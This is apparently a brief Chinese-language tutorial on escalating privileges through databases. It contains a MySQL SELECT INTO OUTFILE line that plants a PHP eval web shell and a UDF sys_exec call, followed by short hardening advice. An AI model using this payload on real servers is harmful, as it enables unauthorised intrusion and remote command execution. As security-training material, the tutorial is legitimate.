数据库提权实战

数据库提权实战:MySQL UDF/SELECT INTO、MSSQL xp_cmdshell、Redis 写 Crontab/SSH、MongDB 提权。

写在前面:合法学习边界

数据库提权只在授权测试环境进行。

一、数据库提权链

数据库提权链
1
① 获取数据库权限 → ② 文件写入 → ③ WebShell/计划任务/SSH → ④ 提权

二、MySQL 提权

1
2
3
4
5
-- SELECT INTO OUTFILE 写 WebShell
SELECT '<?php @eval($_POST[1]); ?>' INTO OUTFILE '/var/www/shell.php';

-- UDF 提权
SELECT sys_exec('whoami');

三、防御加固

1
2
最小权限原则 · 关闭 FILE 权限
Redis 加密码 · MSSQL 关闭 xp_cmdshell

四、小结

数据库提权的核心是数据库权限过大 + 可写文件路径最小权限原则是防御核心。

本站使用「署名 4.0 国际」创作共享协议,可自由转载、引用,但需署名作者且注明文章出处
最后更新于 Aug 30, 2026 10:00 +0800